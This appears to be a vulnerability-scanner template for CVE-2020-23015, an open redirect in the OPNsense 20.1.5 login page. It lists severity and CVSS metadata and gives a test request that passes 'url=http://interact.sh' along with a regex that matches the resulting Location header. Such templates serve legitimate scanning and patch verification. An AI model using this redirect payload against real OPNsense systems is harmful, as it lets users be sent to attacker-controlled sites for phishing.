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id : CVE-2020-23015
info :
name : OPNsense 20.1.5. Open Redirect
author : 0x_Akoko
severity : medium
description : An open redirect issue was discovered in OPNsense through 20.1.5. The redirect parameter "url" in login page was not filtered and can redirect user to any website.
reference :
- https://github.com/opnsense/core/issues/4061
- https://www.cvedetails.com/cve/CVE-2020-23015
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2020-23015
cwe-id : CWE-601
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tags : cve,cve2020,redirect,opnsense
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requests :
- method : GET
path :
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- '{{BaseURL}}/?url=http://interact.sh'
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matchers :
- type : regex
part : header
regex :
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- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'